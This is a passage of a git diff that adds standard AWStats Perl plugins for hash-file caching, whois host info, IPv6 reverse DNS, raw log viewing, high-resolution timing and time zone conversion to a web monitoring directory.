"%.1f", $num / 1000 ) . ($isbytes ? " $Message[108]" : " K"); + }else{ + return sprintf( "%.0f", $num / 1000 ) . ($isbytes ? " $Message[108]" : " K"); + } + } + return int($num); +} + +#------------------------------------------------------- +# PLUGIN FUNCTION: Get_Img_Tag +# Builds the full IMG tag to place in HTML that will call the Google Charts API +# Parameters: $params, $title +# Input: $ChartProtocol, $ChartURI, $ChartIndex +# Output: None +# Return: An HTML IMG tag +#------------------------------------------------------- +sub Get_Img_Tag(){ + my $params = shift || ""; + my $title = shift || ""; + my $tag = "<img src=\"$ChartProtocol"; + # for optimization, we can prepend a number to the host address and google will + # use different servers to generate our images. This is important if we have multiple + # images on the same page + # TODO - debug why chart index isn't working as Google says it should +# if ($URLIndex < 0){ + $tag .= "$ChartURI"; +# }else{ +# $tag .= "$ChartIndex.$ChartURI"; +# } + $ChartIndex = ($ChartIndex >= 9 ? 0 : $ChartIndex + 1); + $tag .= $params; + $tag .= "\" alt=\"$title\"/>"; +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hashfiles.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hashfiles.pm new file mode 100644 index 0000000..247cb69 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hashfiles.pm @@ -0,0 +1,140 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# HashFiles AWStats plugin +# Allows AWStats to read/save its data file as native hash files. +# This increase read andwrite files operations. +#----------------------------------------------------------------------------- +# Perl Required Modules: Storable +#----------------------------------------------------------------------------- +# $Revision: 1.12 $ - $Author: eldy $ - $Date: 2005/10/09 14:49:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +if (!eval ('require "Storable.pm";')) { return $@?"Error: $@":"Error: Need Perl module Storable"; } +# -----> +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.1"; +my $PluginHooksFunctions="SearchFile LoadCache SaveHash"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$PluginHashfilesUpToDate +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_hashfiles { + my $InitParams=shift; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + $PluginHashfilesUpToDate=1; + # -----> + + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: SearchFile_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub SearchFile_hashfiles { + my ($searchdir,$dnscachefile,$filesuffix,$dnscacheext,$filetoload)=@_; # Get params sent by ref + if (-f "${searchdir}$dnscachefile$filesuffix.hash") { + my ($tmp1a,$tmp2a,$tmp3a,$tmp4a,$tmp5a,$tmp6a,$tmp7a,$tmp8a,$tmp9a,$datesource,$tmp10a,$tmp11a,$tmp12a) = stat("${searchdir}$dnscachefile$filesuffix$dnscacheext"); + my ($tmp1b,$tmp2b,$tmp3b,$tmp4b,$tmp5b,$tmp6b,$tmp7b,$tmp8b,$tmp9b,$datehash,$tmp10b,$tmp11b,$tmp12b) = stat("${searchdir}$dnscachefile$filesuffix.hash"); + if ($datesource && $datehash < $datesource) { + $PluginHashfilesUpToDate=0; + debug(" Plugin hashfiles: Hash file not up to date. Will use source file $filetoload instead."); + } + else { + # There is no source file or there is and hash file is up to date. We can just load hash file + $filetoload="${searchdir}$dnscachefile$filesuffix.hash"; + } + } + elsif ($filetoload) { + $PluginHashfilesUpToDate=0; + debug(" Plugin hashfiles: Hash file not found. Will use source file $filetoload instead."); + } + # Change calling params + $_[4]=$filetoload; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadCache_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub LoadCache_hashfiles { + my ($filetoload,$hashtoload)=@_; + if ($filetoload =~ /\.hash$/) { + # There is no source file or there is and hash file is up to date. We can just load hash file + eval('%$hashtoload = %{ Storable::retrieve("$filetoload") };') || warning("Warning: Error while retrieving hashfile: $@"); + } +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SaveHash_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub SaveHash_hashfiles { + my ($filetosave,$hashtosave,$testifuptodate,$nbmaxofelemtosave,$nbofelemsaved)=@_; + if (! $testifuptodate || ! $PluginHashfilesUpToDate) { + $filetosave =~ s/(\.\w+)$//; $filetosave.=".hash"; + debug(" Plugin hashfiles: Save data ".($nbmaxofelemtosave?"($nbmaxofelemtosave records max)":"(all records)")." into hash file $filetosave"); + if (! $nbmaxofelemtosave || (scalar keys %$hashtosave <= $nbmaxofelemtosave)) { + # Save all hash array + unless ( eval('Storable::store(\%$hashtosave, "$filetosave");') ) { + $_[4] = 0; + warning("Warning: Error while storing hashfile: $@"); + return; + } + $_[4]=scalar keys %$hashtosave; + + } + else { + debug(" Plugin hashfiles: We need to resize hash to save from ".(scalar keys %$hashtosave)." to $nbmaxofelemtosave"); + # Save part of hash array + my $counter=0; + my %newhashtosave=(); + foreach my $key (keys %$hashtosave) { + $newhashtosave{$key}=$hashtosave->{$key}; + if (++$counter >= $nbmaxofelemtosave) { last; } + } + + unless ( eval('Storable::store(\%newhashtosave, "$filetosave");') ) { + $_[4] = 0; + warning("Warning: Error while storing hashfile: $@"); + return; + } + $_[4]=scalar keys %newhashtosave; + } + $_[0]=$filetosave; + } + else { + $_[4]=0; + } +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hostinfo.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hostinfo.pm new file mode 100644 index 0000000..5fd15ec --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/hostinfo.pm @@ -0,0 +1,196 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# HostInfo AWStats plugin +# This plugin allow you to add information on hosts, like whois fields. +#----------------------------------------------------------------------------- +# Perl Required Modules: XWhois +#----------------------------------------------------------------------------- +# $Revision: 1.19 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +push @INC, "${DIR}/plugins"; +if (!eval ('require "Net/XWhois.pm";')) { return $@?"Error: $@":"Error: Need Perl module Net::XWhois"; } +if (!eval ('require "Digest/MD5.pm";')) { return $@?"Error: $@":"Error: Need Perl module Digest::MD5"; } +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.0"; +my $PluginHooksFunctions="ShowInfoHost AddHTMLBodyHeader BuildFullHTMLOutput"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_hostinfo { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin hostinfo: InitParams=$InitParams",1); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLBodyHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code at beginning of BODY section. +# Parameters: None +#----------------------------------------------------------------------------- +sub AddHTMLBodyHeader_hostinfo { + # <----- + my $WIDTHINFO=640; + my $HEIGHTINFO=480; + + my $urlparam="pluginmode=hostinfo&config=$SiteConfig"; + $urlparam.=($DirConfig?"&configdir=$DirConfig":""); + + print <<EOF; + +<script type="text/javascript"> +function neww(a,b) { +var wfeatures="directories=0,menubar=1,status=0,resizable=1,scrollbars=1,toolbar=0,width=$WIDTHINFO,height=$HEIGHTINFO,left=" + eval("(screen.width - $WIDTHINFO)/2") + ",top=" + eval("(screen.height - $HEIGHTINFO)/2"); +EOF + print "fen=window.open('".XMLEncode("$AWScript?$urlparam&host")."='+a+'".XMLEncode("&key")."='+b,'whois',wfeatures);\n"; +print <<EOF; +} +</script> + +EOF + + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_hostinfo { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + print "<th width=\"40\">$Message[114]</th>"; + } + elsif ($param) { + my $keyforwhois; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $keyforwhois=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $keyforwhois=$param; + } + else { # Hostname + $param =~ /([-\w]+\.[-\w]+\.(?:au|uk|jp|nz))$/ or $param =~ /([-\w]+\.[-\w]+)$/; + $keyforwhois=$1; + } + print "<td>"; +# if ($keyforwhois) { print "<a href=\"javascript:neww('$keyforwhois','".md5_hex("${keyforwhois}XXX")."')\">?</a>"; } + if ($keyforwhois) { print "<a href=\"javascript:neww('$keyforwhois','${keyforwhois}XXX')\">?</a>"; } + else { print " " } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: BuildFullHTMLOutput_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to output an HTML page completely built by plugin instead +# of AWStats output +#----------------------------------------------------------------------------- +sub BuildFullHTMLOutput_hostinfo { + # <----- + my $Host=''; + if ($QueryString =~ /host=([^&]+)/i) { + $Host=lc(&DecodeEncodedString("$1")); + } + + my $ip=''; + my $HostResolved=''; +# my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; +# my $regipv6=qr/^[0-9A-F]*:/i; +# if ($Host =~ /$regipv4/o) { $ip=4; } +# elsif ($Host =~ /$regipv6/o) { $ip=6; } +# if ($ip == 4) { +# my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$Host)),AF_INET)); # This is very slow, may spend 20 seconds +# if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) { +# $HostResolved='*'; +# } +# else { +# $HostResolved=$lookupresult; +# } +# if ($Debug) { debug(" Reverse DNS lookup for $Host done: $HostResolved",4); } +# } + if (! $ip) { $HostResolved=$Host; } + + if ($Debug) { debug(" Plugin hostinfo: DirData=$DirData Host=$Host HostResolved=$HostResolved ",4); } + my $w = new Net::XWhois Verbose=>$Debug, Cache=>$DirData, NoCache=>0, Timeout=>10, Domain=>$HostResolved; + + print "<br />\n"; + + if ($w && $w->response()) { + &tab_head("Common Whois Fields",0,0,'whois'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>Common field info</th><th>Value</th></tr>\n"; + print "<tr><td>Name</td><td>".($w->name())." </td></tr>"; + print "<tr><td>Status</td><td>".($w->status())." </td></tr>"; + print "<tr><td>NameServers</td><td>".($w->nameservers())." </td></tr>"; + print "<tr><td>Registrant</td><td>".($w->registrant())." </td></tr>"; + print "<tr><td>Contact Admin</td><td>".($w->contact_admin())." </td></tr>"; + print "<tr><td>Contact Tech</td><td>".($w->contact_tech())." </td></tr>"; + print "<tr><td>Contact Billing</td><td>".($w->contact_billing())." </td></tr>"; + print "<tr><td>Contact Zone</td><td>".($w->contact_zone())." </td></tr>"; + print "<tr><td>Contact Emails</td><td>".($w->contact_emails())." </td></tr>"; + print "<tr><td>Contact Handles</td><td>".($w->contact_handles())." </td></tr>"; + print "<tr><td>Domain Handles</td><td>".($w->domain_handles())." </td></tr>"; + &tab_end; + } + + &tab_head("Full Whois Field",0,0,'whois'); + if ($w && $w->response()) { + print "<tr><td class=\"aws\"><pre>".($w->response())."</pre></td></tr>\n"; + } + else { + print "<tr><td><br />The Whois command failed.<br />Did the server running AWStats is allowed to send WhoIs queries (If a firewall is running, port 43 should be opened from inside to outside) ?<br /><br /></td></tr>\n"; + } + &tab_end; + + return 1; + # -----> +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/ipv6.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/ipv6.pm new file mode 100644 index 0000000..5c528b3 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/ipv6.pm @@ -0,0 +1,72 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# IPv6 AWStats plugin +# This plugin allow AWStats to make reverse DNS Lookup on IPv6 addresses. +#----------------------------------------------------------------------------- +# Perl Required Modules: Net::IP and Net::DNS +#----------------------------------------------------------------------------- +# $Revision: 1.4 $ - $Author: eldy $ - $Date: 2004/05/21 21:18:11 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +if (!eval ('require "Net/IP.pm";')) { return $@?"Error: $@":"Error: Need Perl module Net::IP"; } +if (!eval ('require "Net/DNS.pm";')) { return $@?"Error: $@":"Error: Need Perl module Net::DNS"; } +# -----> +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.5"; +my $PluginHooksFunctions="GetResolvedIP"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$resolver +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_ipv6 { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin ipv6: InitParams=$InitParams",1); + $resolver = Net::DNS::Resolver->new; + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetResolvedIP_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +# GetResolvedIP is called to resolve an IPv6 address into a host name +#----------------------------------------------------------------------------- +sub GetResolvedIP_ipv6 { + # <----- + my $ip = new Net::IP($_[0]); + my $reverseip= $ip->reverse_ip(); + my $query = $resolver->query($reverseip, "PTR"); + if (! defined($query)) { return; } + my @result=split(/\s/, ($query->answer)[0]->string); + return $result[4]; + # -----> +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/rawlog.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/rawlog.pm new file mode 100644 index 0000000..0ec8ba3 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/rawlog.pm @@ -0,0 +1,133 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# Rawlog AWStats plugin +# This plugin adds a form in AWStats main page to allow users to see raw +# content of current log files. A filter is also available. +#----------------------------------------------------------------------------- +# Perl Required Modules: None +#----------------------------------------------------------------------------- +# $Revision: 1.17 $ - $Author: eldy $ - $Date: 2008/11/15 16:03:42 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES. +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.7"; +my $PluginHooksFunctions="AddHTMLBodyHeader BuildFullHTMLOutput"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$MAXLINE +/; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_rawlog { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin rawlog: InitParams=$InitParams",1); + + if ($QueryString =~ /rawlog_maxlines=(\d+)/i) { $MAXLINE=&DecodeEncodedString("$1"); } + else { $MAXLINE=5000; } + + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: AddHTMLBodyHeader_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to Add HTML code at beginning of BODY section. +#----------------------------------------------------------------------------- +sub AddHTMLBodyHeader_rawlog { + # <----- + # Show form only if option -staticlinks not used + if (! $StaticLinks) { &_ShowForm(''); } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNTION: BuildFullHTMLOutput_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to output an HTML page completely built by plugin instead +# of AWStats output +#----------------------------------------------------------------------------- +sub BuildFullHTMLOutput_rawlog { + # <----- + my $Filter=''; + if ($QueryString =~ /filterrawlog=([^&]+)/i) { $Filter=&DecodeEncodedString("$1"); } + + # A security check + if ($QueryString =~ /logfile=/i) { + print "<br />Option logfile is not allowed while building rawlog output.<br />"; + return 0; + } + + # Show form + &_ShowForm($Filter); + + # Precompiled regex Filter to speed up scan + if ($Filter) { $Filter=qr/$Filter/i; } + + print "<hr />\n"; + + # Show raws + my $xml=($BuildReportFormat eq 'xhtml'); + open(LOG,"$LogFile") || error("Couldn't open server log file \"$LogFile\" : $!"); + binmode LOG; # Avoid premature EOF due to log files corrupted with \cZ or bin chars + my $i=0; + print "<pre>"; + while (<LOG>) { + chomp $_; $_ =~ s/\r//; + if ($Filter && $_ !~ /$Filter/o) { next; } + print ($xml?XMLEncode("$_"):"$_"); + print "\n"; + if (++$i >= $MAXLINE) { last; } + } + print "</pre><br />\n<b>$i lines.</b><br />"; + return 1; + # -----> +} + +sub _ShowForm { + my $Filter=shift||''; + print "<br />\n"; + print "<form action=\"$AWScript\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\">\n"; + print "<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; + print "<tr><td>"; + print "<table class=\"aws_data\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n"; + print "<tr><td><span dir=\"ltr\"><b>Show content of file '$LogFile' ($MAXLINE first lines):</b></span></td></tr>\n"; + print "<tr><td>$Message[79]: <input type=\"text\" name=\"filterrawlog\" value=\"$Filter\" /> Max Number of Lines: <input type=\"text\" name=\"rawlog_maxlines\" size=\"5\" value=\"$MAXLINE\" /> <input type=\"submit\" value=\"List\" class=\"aws_button\" />\n"; + print "<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" /><input type=\"hidden\" name=\"framename\" value=\"$FrameName\" /><input type=\"hidden\" name=\"pluginmode\" value=\"rawlog\" />"; + print "</td></tr>\n"; + print "</table>\n"; + print "</td></tr></table>\n"; + print "</form>\n"; +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timehires.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timehires.pm new file mode 100644 index 0000000..b920fd1 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timehires.pm @@ -0,0 +1,57 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# TimeHires AWStats plugin +# Change time accuracy in showsteps option from seconds to milliseconds +#----------------------------------------------------------------------------- +# Perl Required Modules: Time::HiRes +#----------------------------------------------------------------------------- +# $Revision: 1.10 $ - $Author: eldy $ - $Date: 2003/07/26 15:32:31 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +if (!eval ('require "Time/HiRes.pm"')) { return $@?"Error: $@":"Error: Need Perl module Time::HiRes"; } +# -----> +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.1"; +my $PluginHooksFunctions="GetTime"; +# -----> + + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_timehires { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetTime_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub GetTime_timehires { + my ($sec,$msec)=Time::HiRes::gettimeofday(); + $_[0]=$sec; + $_[1]=$msec; +} + + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timezone.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timezone.pm new file mode 100644 index 0000000..4eef4fe --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/timezone.pm @@ -0,0 +1,314 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# TimeZone AWStats reloaded plugin +# +# Allow AWStats to convert GMT time stamps to local time zone +# taking into account daylight saving time. +# If the POSIX module is available, a target time zone name +# can be provided, otherwise the default system local time is used. +# For compatibility with the original version of this plugin, "-/+hours" +# is interpreted as a fixed difference to GMT. +# +# 2009 jacob@internet24.de +#----------------------------------------------------------------------------- +# Perl Required Modules: POSIX +#----------------------------------------------------------------------------- + + +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# !!!!! This plugin reduces AWStats speed by about 10% !!!!! +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +# -----> +use strict;no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="5.1"; +my $PluginHooksFunctions="ChangeTime GetTimeZoneTitle"; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$PluginTimeZoneZone +$PluginTimeZoneCache +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_timezone { + my $InitParams=shift; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + if ($InitParams) + { + if (!eval ('require "POSIX.pm"')) + { + return $@?"Error: $@":"Error: Need Perl module POSIX"; + } + } + + $PluginTimeZoneZone = "$InitParams"; + $PluginTimeZoneCache = {}; + # -----> + + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ChangeTime_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub ChangeTime_timezone { + my @d = @{$_[0]}; + my $e = $PluginTimeZoneCache->{$d[2]}; + my ($i); + + + unless ($e) { + $e = $PluginTimeZoneCache->{$d[2]} = [ + tz_find_zone_diff($PluginTimeZoneZone, $d[2]), + tz_find_month_length($PluginTimeZoneZone, $d[2]) + ] + } + + INTERVAL: foreach $i (@{@$e[0]}) { + foreach (1,0,3,4,5) { + next INTERVAL if $d[$_]>@$i[$_]; + last if $d[$_]<@$i[$_]; + } + + $d[5] += @$i[8]; + if ( $d[5]<0 ) { + $d[5] += 60, $d[4]--; + } elsif ( $d[5]>59 ) { + $d[5] -= 60, $d[4]++; + } + + $d[4] += @$i[7]; + if ( $d[4]<0 ) { + $d[4] += 60, $d[3]--; + } elsif ( $d[4]>59 ) { + $d[4] -= 60, $d[3]++; + } + + $d[3] += @$i[6]; + if ( $d[3]<0 ) { + $d[3] += 24, $d[0]--; + } elsif ( $d[3]>23 ) { + $d[3] -= 24, $d[0]++; + } else { + return @d; + } + + if ($d[0]<1) { + $d[1]--; + if ( $d[1]<1 ) { + $d[2]--, $d[1] = 12, $d[0] = 31; + } else { + $d[0] = $e->[1][$d[1]]; + } + } elsif ($d[0]>$e->[1][$d[1]]) { + $d[1]++, $d[0]=1; + if ( $d[1]>12 ) { + $d[2]++, $d[1] = 1; + } + } + + return @d; + } + + # This should never be reached + return @d; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: GetTimeZoneTitle_pluginname +# UNIQUE: YES (Only one plugin using this function can be loaded) +#----------------------------------------------------------------------------- +sub GetTimeZoneTitle_timezone { + return $PluginTimeZoneZone; +} + + +#----------------------------------------------------------------------------- +# Tools +#----------------------------------------------------------------------------- + +# convenience wrappers +sub tz_mktime +{ + return timegm($_[0], $_[1], $_[2], + $_[3], $_[4]-1, $_[5]-1900, 0, 0, -1); +} +sub tz_interval +{ + my ($time, $shift) = @_; + + my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = + gmtime($time); + + return [ + $mday, + $mon+1, + 2147483647, # max(int32) + $hour, + $min, + $sec, + int($shift/3600), + int(($shift%3600)/60), + int(($shift%60)), + ] +} + + +# return largest $value between $left and $right +# whose tz_shift is equal to that of $left +sub tz_find_break +{ + my ($left, $right) = @_; + + return undef if $left>$right; + + return $left if ($right-$left)<=1; + + my $middle = int(($right+$left)/2); + my ($leftshift, $rightshift, $middleshift) = + (tz_shift($left), tz_shift($right), tz_shift($middle)); + + if ($leftshift == $middleshift) { + return undef if $rightshift == $middleshift; + return tz_find_break($middle, $right); + } + elsif ($rightshift == $middleshift) { + return tz_find_break($left, $middle); + } +} + + +# compute difference beetween localtime and gmtime in seconds +# for unix time stamp $time +sub tz_shift +{ + my ($time) = @_; + + my ($lsec,$lmin,$lhour,$lmday,$lmon,$lyear,$lwday,$lyday,$lisdst) = + localtime($time); + my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = + gmtime($time); + + my $day_change = $lyear-$year; + $day_change = $lmon-$mon unless $day_change; + $day_change = $lmday-$mday unless $day_change; + + my $hour_diff = $lhour-$hour; + my $min_diff = $lmin-$min; + my $sec_diff = $lsec-$sec; + + if ($day_change>0) { + $hour_diff +=24; + } + elsif($day_change<0) { + $hour_diff -=24; + } + + return (($hour_diff*60)+$min_diff)*60+$sec_diff; +} + + +# Compute time zone shift intervals for $year +# and time zone $zone +sub tz_find_zone_diff +{ + my ($zone, $year) = @_; + + my $othertz = $PluginTimeZoneZone && + $PluginTimeZoneZone !~ m/^[+-]?\d+$/; + + my ($left, $middle, $right); + my ($leftshift, $middleshift, $rightshift); + + { + local $ENV{TZ} = $zone + if $othertz; + + $left = tz_mktime(0,0,0,1,1,$year); + $middle = tz_mktime(0,0,0,1,7,$year); + $right = tz_mktime(59,59,23,31,12,$year); + + if (!$PluginTimeZoneZone || $PluginTimeZoneZone !~ m/^[+-]?\d+$/) + { + $leftshift = tz_shift($left); + $middleshift = tz_shift($middle); + $rightshift = tz_shift($right) + } + else + { + $leftshift = $middleshift = $rightshift = + int($PluginTimeZoneZone)*3600; + } + + if ($leftshift != $rightshift || $rightshift != $middleshift) { + return + [ + tz_interval(tz_find_break($left, $middle), $leftshift), + tz_interval(tz_find_break($middle, $right), $middleshift), + tz_interval($right, $rightshift) + ] + } + + POSIX::tzset() if $othertz; + } + + POSIX::tzset() if $othertz; + + return [ tz_interval($right, $rightshift) ] +} + + +# Compute number of days in all months for $year +sub tz_find_month_length +{ + my ($zone, $year) = @_; + + my $othertz = $PluginTimeZoneZone && + $PluginTimeZoneZone !~ m/^[+-]?\d+$/; + + my $months = [ undef, 31, 28, 31, 30, 31, 30, + 31, 31, 30, 31, 30, 31 ]; + + { + local $ENV{TZ} = $zone + if $othertz; + + # leap year? + $months->[2] = 29 if + (localtime(tz_mktime(0, 0, 12, 28, 2, $year)+86400))[4] + == 